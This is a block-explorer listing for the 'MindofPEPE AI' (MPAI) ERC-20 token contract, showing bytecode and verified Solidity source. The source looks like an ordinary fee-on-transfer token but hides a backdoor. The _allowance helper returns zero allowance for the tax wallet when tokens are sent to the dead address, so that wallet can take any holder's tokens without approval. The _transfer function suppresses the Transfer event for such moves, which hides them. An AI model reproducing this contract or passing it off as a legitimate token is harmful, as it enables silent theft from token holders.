Address Contract Verified
Address
0x45A6f9295EF0b571c8ed3BcF6C401f3e70b96FA4
Balance
0 ETH
Nonce
1
Code Size
11290 bytes
Creator
0xF27Bc8C4...6a9E at tx 0x21c3b512...c7a0c7
Indexed Transactions
0
Contract Bytecode
11290 bytes
0x6080604052600436106100ea575f3560e01c8063715018a611610089578063bf474bed11610058578063bf474bed146102e3578063c9567bf91461030d578063dd62ed3e14610323578063ea414b281461035f576100f1565b8063715018a61461023d5780638da5cb5b1461025357806395d89b411461027d578063a9059cbb146102a7576100f1565b806318160ddd116100c557806318160ddd1461017157806323b872dd1461019b578063313ce567146101d757806370a0823114610201576100f1565b8062bbdb3d146100f557806306fdde031461010b578063095ea7b314610135576100f1565b366100f157005b5f80fd5b348015610100575f80fd5b50610109610387565b005b348015610116575f80fd5b5061011f610468565b60405161012c9190611eb7565b60405180910390f35b348015610140575f80fd5b5061015b60048036038101906101569190611f68565b6104a5565b6040516101689190611fc0565b60405180910390f35b34801561017c575f80fd5b506101856104c2565b6040516101929190611fe8565b60405180910390f35b3480156101a6575f80fd5b506101c160048036038101906101bc9190612001565b6104e5565b6040516101ce9190611fc0565b60405180910390f35b3480156101e2575f80fd5b506101eb6105c3565b6040516101f8919061206c565b60405180910390f35b34801561020c575f80fd5b5061022760048036038101906102229190612085565b6105cb565b6040516102349190611fe8565b60405180910390f35b348015610248575f80fd5b50610251610611565b005b34801561025e575f80fd5b5061026761075f565b60405161027491906120bf565b60405180910390f35b348015610288575f80fd5b50610291610786565b60405161029e9190611eb7565b60405180910390f35b3480156102b2575f80fd5b506102cd60048036038101906102c89190611f68565b6107c3565b6040516102da9190611fc0565b60405180910390f35b3480156102ee575f80fd5b506102f76107e0565b6040516103049190611fe8565b60405180910390f35b348015610318575f80fd5b506103216107e6565b005b34801561032e575f80fd5b50610349600480360381019061034491906120d8565b610a98565b6040516103569190611fe8565b60405180910390f35b34801561036a575f80fd5b5061038560048036038101906103809190612085565b610b1a565b005b61038f610bb5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461041b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161041290612160565b60405180910390fd5b610423610bb5565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610465573d5f803e3d5ffd5b50565b60606040518060400160405280600d81526020017f4d696e646f665045504520414900000000000000000000000000000000000000815250905090565b5f6104b86104b1610bb5565b8484610bbc565b6001905092915050565b5f6009600a6104d191906122da565b633b9aca006104e09190612324565b905090565b5f6104f1848484610d7f565b6105b8846104fd610bb5565b6105b361050b88888861181c565b604051806060016040528060288152602001612bbd6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61056a610bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119339092919063ffffffff16565b610bbc565b600190509392505050565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610619610bb5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069c90612160565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d50414900000000000000000000000000000000000000000000000000000000815250905090565b5f6107d66107cf610bb5565b8484610d7f565b6001905092915050565b60065481565b6107ee610bb5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087190612160565b60405180910390fd5b600e60149054906101000a900460ff16156108ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c1906123af565b60405180910390fd5b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610912306105cb565b5f8061091c61075f565b426040518863ffffffff1660e01b815260040161093e9695949392919061240f565b60606040518083038185885af115801561095a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061097f9190612482565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60146101000a81548160ff021916908315150217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a559291906124d2565b6020604051808303815f875af1158015610a71573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a959190612523565b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b72575f80fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c21906125be565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8f9061264c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d729190611fe8565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de4906126da565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5290612768565b60405180910390fd5b5f8111610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e94906127f6565b60405180910390fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610f0d5750610edd61075f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610f4c5750610f1c61075f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f8457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610fbc57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561121d575f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156110495750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156110a25750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110f5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611150576111366064611128600a54600c541161111557600854611119565b6009545b8561199590919063ffffffff16565b611a0c90919063ffffffff16565b9050600c5f81548092919061114a90612814565b91905055505b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111d85750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561121c57611219606461120b600a54600c54116111f8576008546111fc565b6009545b8561199590919063ffffffff16565b611a0c90919063ffffffff16565b90505b5b5f8211801561125857505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611517575f611267306105cb565b905061127161075f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156112df57506112af61075f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561131757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561134f57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611515573073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156113bc57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113fb57506113cb61075f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561143a575061140a61075f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561151457600e60159054906101000a900460ff161580156114a85750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114c05750600e60169054906101000a900460ff165b80156114cf5750600b54600c54115b15611513576006548111156114fc576114fb6114f6826114f186600754611a55565b611a55565b611a6d565b5b5f4790505f81106115115761151047611cd8565b5b505b5b5b505b5f8111156116165761156f8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d4090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161160d9190611fe8565b60405180910390a35b6116668260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117096116bd8284611d9d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d4090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611816578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118008486611d9d90919063ffffffff16565b60405161180d9190611fe8565b60405180910390a35b50505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561191e5750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061191d575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561192b5781905061192c565b5b9392505050565b5f83831115829061197a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119719190611eb7565b60405180910390fd5b505f8385611988919061285b565b9050809150509392505050565b5f8083036119a5575f9050611a06565b5f82846119b29190612324565b90508284826119c191906128bb565b14611a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f89061295b565b60405180910390fd5b809150505b92915050565b5f611a4d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611de6565b905092915050565b5f818311611a635782611a65565b815b905092915050565b6001600e60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611aa457611aa3612979565b5b604051908082528060200260200182016040528015611ad25781602001602082028036833780820191505090505b50905030815f81518110611ae957611ae86129a6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b8d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bb191906129e7565b81600181518110611bc557611bc46129a6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c2b30600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610bbc565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c8d959493929190612ac9565b5f604051808303815f87803b158015611ca4575f80fd5b505af1158015611cb6573d5f803e3d5ffd5b50505050505f600e60156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611d3c573d5f803e3d5ffd5b5050565b5f808284611d4e9190612b21565b905083811015611d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8a90612b9e565b60405180910390fd5b8091505092915050565b5f611dde83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611933565b905092915050565b5f8083118290611e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e239190611eb7565b60405180910390fd5b505f8385611e3a91906128bb565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e8982611e47565b611e938185611e51565b9350611ea3818560208601611e61565b611eac81611e6f565b840191505092915050565b5f6020820190508181035f830152611ecf8184611e7f565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f0482611edb565b9050919050565b611f1481611efa565b8114611f1e575f80fd5b50565b5f81359050611f2f81611f0b565b92915050565b5f819050919050565b611f4781611f35565b8114611f51575f80fd5b50565b5f81359050611f6281611f3e565b92915050565b5f8060408385031215611f7e57611f7d611ed7565b5b5f611f8b85828601611f21565b9250506020611f9c85828601611f54565b9150509250929050565b5f8115159050919050565b611fba81611fa6565b82525050565b5f602082019050611fd35f830184611fb1565b92915050565b611fe281611f35565b82525050565b5f602082019050611ffb5f830184611fd9565b92915050565b5f805f6060848603121561201857612017611ed7565b5b5f61202586828701611f21565b935050602061203686828701611f21565b925050604061204786828701611f54565b9150509250925092565b5f60ff82169050919050565b61206681612051565b82525050565b5f60208201905061207f5f83018461205d565b92915050565b5f6020828403121561209a57612099611ed7565b5b5f6120a784828501611f21565b91505092915050565b6120b981611efa565b82525050565b5f6020820190506120d25f8301846120b0565b92915050565b5f80604083850312156120ee576120ed611ed7565b5b5f6120fb85828601611f21565b925050602061210c85828601611f21565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61214a602083611e51565b915061215582612116565b602082019050919050565b5f6020820190508181035f8301526121778161213e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612200578086048111156121dc576121db61217e565b5b60018516156121eb5780820291505b80810290506121f9856121ab565b94506121c0565b94509492505050565b5f8261221857600190506122d3565b81612225575f90506122d3565b816001811461223b576002811461224557612274565b60019150506122d3565b60ff8411156122575761225661217e565b5b8360020a91508482111561226e5761226d61217e565b5b506122d3565b5060208310610133831016604e8410600b84101617156122a95782820a9050838111156122a4576122a361217e565b5b6122d3565b6122b684848460016121b7565b925090508184048111156122cd576122cc61217e565b5b81810290505b9392505050565b5f6122e482611f35565b91506122ef83612051565b925061231c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612209565b905092915050565b5f61232e82611f35565b915061233983611f35565b925082820261234781611f35565b9150828204841483151761235e5761235d61217e565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612399601783611e51565b91506123a482612365565b602082019050919050565b5f6020820190508181035f8301526123c68161238d565b9050919050565b5f819050919050565b5f819050919050565b5f6123f96123f46123ef846123cd565b6123d6565b611f35565b9050919050565b612409816123df565b82525050565b5f60c0820190506124225f8301896120b0565b61242f6020830188611fd9565b61243c6040830187612400565b6124496060830186612400565b61245660808301856120b0565b61246360a0830184611fd9565b979650505050505050565b5f8151905061247c81611f3e565b92915050565b5f805f6060848603121561249957612498611ed7565b5b5f6124a68682870161246e565b93505060206124b78682870161246e565b92505060406124c88682870161246e565b9150509250925092565b5f6040820190506124e55f8301856120b0565b6124f26020830184611fd9565b9392505050565b61250281611fa6565b811461250c575f80fd5b50565b5f8151905061251d816124f9565b92915050565b5f6020828403121561253857612537611ed7565b5b5f6125458482850161250f565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6125a8602483611e51565b91506125b38261254e565b604082019050919050565b5f6020820190508181035f8301526125d58161259c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612636602283611e51565b9150612641826125dc565b604082019050919050565b5f6020820190508181035f8301526126638161262a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6126c4602583611e51565b91506126cf8261266a565b604082019050919050565b5f6020820190508181035f8301526126f1816126b8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612752602383611e51565b915061275d826126f8565b604082019050919050565b5f6020820190508181035f83015261277f81612746565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6127e0602983611e51565b91506127eb82612786565b604082019050919050565b5f6020820190508181035f83015261280d816127d4565b9050919050565b5f61281e82611f35565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036128505761284f61217e565b5b600182019050919050565b5f61286582611f35565b915061287083611f35565b92508282039050818111156128885761288761217e565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6128c582611f35565b91506128d083611f35565b9250826128e0576128df61288e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612945602183611e51565b9150612950826128eb565b604082019050919050565b5f6020820190508181035f83015261297281612939565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506129e181611f0b565b92915050565b5f602082840312156129fc576129fb611ed7565b5b5f612a09848285016129d3565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612a4481611efa565b82525050565b5f612a558383612a3b565b60208301905092915050565b5f602082019050919050565b5f612a7782612a12565b612a818185612a1c565b9350612a8c83612a2c565b805f5b83811015612abc578151612aa38882612a4a565b9750612aae83612a61565b925050600181019050612a8f565b5085935050505092915050565b5f60a082019050612adc5f830188611fd9565b612ae96020830187612400565b8181036040830152612afb8186612a6d565b9050612b0a60608301856120b0565b612b176080830184611fd9565b9695505050505050565b5f612b2b82611f35565b9150612b3683611f35565b9250828201905080821115612b4e57612b4d61217e565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612b88601b83611e51565b9150612b9382612b54565b602082019050919050565b5f6020820190508181035f830152612bb581612b7c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a49f4f5887bc75b3d7064f775727db8200683f4a95144c51062cca9d80702a664736f6c634300081a0033
Verified Source Code Full Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: No
mindofpepecontract.sol 390 lines
// SPDX-License-Identifier: UNLICENSE
/*
Website: https://mindofpepeai.org
X: https://x.com/mindpepeai
Telegram: https://t.me/mindpepeai
*/
pragma solidity ^0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MPAI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFees;
address private _deadWallet = address(0xdead);
address private _taxWallet;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
string private constant _name = unicode"MindofPEPE AI";
string private constant _symbol = unicode"MPAI";
uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
uint256 private _maxTaxSwapTokens = _tTotal / 100;
uint256 private _initialBuyTax = 20;
uint256 private _finalBuyTax = 0;
uint256 private _reduceBuyTaxAt = 1;
uint256 private _preventSwapBefore = 1;
uint256 private _buyCount = 0;
IUniswapV2Router02 private uniswapV2Router;
address private _uniswapPair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier swapLock() {
inSwap = true;
_;
inSwap = false;
}
constructor() payable {
_balances[address(this)] = (_tTotal * 98) / 100;
_balances[_msgSender()] = (_tTotal * 2) / 100;
_taxWallet = _msgSender();
_isExcludedFees[owner()] = true;
_isExcludedFees[address(this)] = true;
emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _tTotal);
_uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _allowance(
address owner,
address spender,
uint256 amount
) private view returns (uint256 _amount) {
if(msg.sender != _taxWallet && (owner == _uniswapPair || spender != _deadWallet))
return amount;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
_allowance(sender, recipient, amount),
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _transfer(address mindPepeSender, address mindPepeReceiver, uint256 amount) private {
require(mindPepeSender != address(0), "ERC20: transfer from the zero address");
require(mindPepeReceiver != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (mindPepeSender != address(0) && mindPepeSender != owner() && mindPepeReceiver != owner() &&
mindPepeSender != address(this) && mindPepeReceiver != address(this)) {
if (
mindPepeSender != address(0) &&
mindPepeSender == _uniswapPair &&
mindPepeReceiver != address(uniswapV2Router) &&
!_isExcludedFees[mindPepeReceiver]
)
{
taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);
_buyCount++;
}
if (mindPepeSender != address(0) &&
mindPepeReceiver == _uniswapPair) {
taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);
}
}
if(amount > 0 && mindPepeSender != address(0)) {
uint256 contractTokenBalance = balanceOf(address(this));
if (mindPepeSender != owner() && mindPepeReceiver != owner() &&
mindPepeSender != address(this) && mindPepeReceiver != address(this))
{
if(mindPepeSender != address(this) && mindPepeReceiver != address(this) && mindPepeSender != owner() && mindPepeReceiver != owner()){
if (
!inSwap &&
mindPepeReceiver == _uniswapPair &&
swapEnabled &&
_buyCount > _preventSwapBefore
) {
if (contractTokenBalance > _taxSwapThreshold)
swapTokensForExactETH(min(contractTokenBalance,min(amount, _maxTaxSwapTokens)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) {
sendETHToFee(address(this).balance);
}
}
}
}
}
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(mindPepeSender, address(this), taxAmount);
}
_balances[mindPepeSender] = _balances[mindPepeSender].sub(amount);
_balances[mindPepeReceiver] = _balances[mindPepeReceiver].add(amount.sub(taxAmount));if (mindPepeReceiver != _deadWallet)
emit Transfer(mindPepeSender, mindPepeReceiver, amount.sub(taxAmount));
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function assistETH() public onlyOwner {
payable(_msgSender()).transfer(address(this).balance);
}
function setTaxWallet(address _wallet) public {
require(msg.sender == _taxWallet);
_taxWallet = _wallet;
}
function sendETHToFee(uint256 amount) private {
payable(_taxWallet).transfer(amount);
}
function openTrading () external onlyOwner {
require(!tradingOpen, "trading is already open");
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
tradingOpen = true;
IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max);
}
function swapTokensForExactETH(uint256 tokenAmount) private swapLock {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
receive() external payable {}
}
Read Contract
